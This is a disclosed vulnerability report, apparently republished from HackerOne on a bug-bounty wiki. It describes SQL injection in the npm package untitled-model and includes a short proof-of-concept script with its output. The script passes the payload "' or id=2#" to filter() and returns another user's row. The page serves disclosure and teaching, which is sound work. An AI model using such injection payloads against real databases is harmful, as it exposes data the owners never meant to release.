Skip to content
SQL injection Disclosed report Beginner

[untitled-model] sql injection

The untitled-model npm package builds SQL queries by pasting caller-supplied values straight into the query string without escaping them. An attacker who can influence a filter value could change the query and read rows the caller did not intend to return.

verichains Follow

Originally disclosed on HackerOne

High 8.6 View original
  • Disclosed after 3 months

I would like to report [VULNERABILITY] in [MODULE] It allows [DESCRIBE THE IMPACT OF THE VULNERABILITY - E.G READ ARBITRARY FILES, READ DATA FROM DATABASE ETC]

Module

module name: untitled-model version: 1.0.5 npm page: https://www.npmjs.com/package/untitled-model

Module Description

Rapid sql query generator extention for node.

[![NPM Version][npm-image]][npm-url] [![NPM Downloads][downloads-image]][downloads-url]

  • Installation
  • Features
  • Quick Start
  • Model
  • Foreign Key
  • Functions
    • filter()
    • values()
    • all(callback)
    • update(callback)
  • model

Module Stats

Replace stats below with numbers from npm’s module page:

8 downloads in the last week 17 downloads in the last month

Vulnerability

Vulnerability Description

Multiple sql injections problems due to unescaped input usage.

Steps To Reproduce:

  • install the module yarn add untitled-model
  • setup db:
MYSQL
CREATE TABLE `user` (
  `id` int(11) NOT NULL,
  `firstName` varchar(255) NOT NULL,
  `lastName` varchar(255) NOT NULL,
  `age` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `user` (`id`, `firstName`, `lastName`, `age`) VALUES
(1, 'Timber', 'Saw', 25),
(2, 'Timber 0', 'Saw', 25);
  • run the poc script:
JavaScript
var model = require('untitled-model');
model.connection(
	{   
		host: "localhost",
		user: "root",
		password: "",
		database:"test"
	}
);
var User = model.get('user');
//User.all((err,data)=>{
//	console.log(err,data);
//})

(async () => {
	await new Promise((resolve,reject)=>{
		User.filter({'id': 1},function(err,data){
			if(err) throw err;
			console.log('normal query', data);
			resolve();
		});
	});
	await new Promise((resolve,reject)=>{
		User.filter({'id': "' or id=2#"},function(err,data){
			if(err) throw err;
			console.log('sqli query', data);
			resolve();
		});
	});
	process.exit(0);
})()

Output:

JavaScript
normal query [ RowDataPacket { id: 1, firstName: 'Timber', lastName: 'Saw', age: 25 } ]
sqli query [ RowDataPacket { id: 2, firstName: 'Timber 0', lastName: 'Saw', age: 25 } ]

Supporting Material/References:

State all technical information about the stack where the vulnerability was found

MacOS 8.12.0 6.4.1

Wrap up

  • I contacted the maintainer to let them know: [N]
  • I opened an issue in the related repository: [N]

Impact

Sql injection.

The original report as published on HackerOne, by verichains. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

A caller-supplied filter value can alter the query and return rows other than the one requested, so data the application did not mean to expose could be read.

What the attacker needed

The untitled-model package in use; attacker controls a filter value

How it was found

  1. Install the untitled-model package.
  2. Create a small user table with a couple of rows in MySQL.
  3. Connect the library to that database and get the user model.
  4. Call filter with a normal id and observe the matching row.
  5. Call filter with a crafted id value and observe a different row being returned.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This package helps a Node.js program build database queries. It takes values from the program and drops them into the query text without cleaning them, so a value that contains SQL syntax is treated as part of the command. That lets someone who controls such a value make the database return different data than intended.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by verichains

View all

3 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.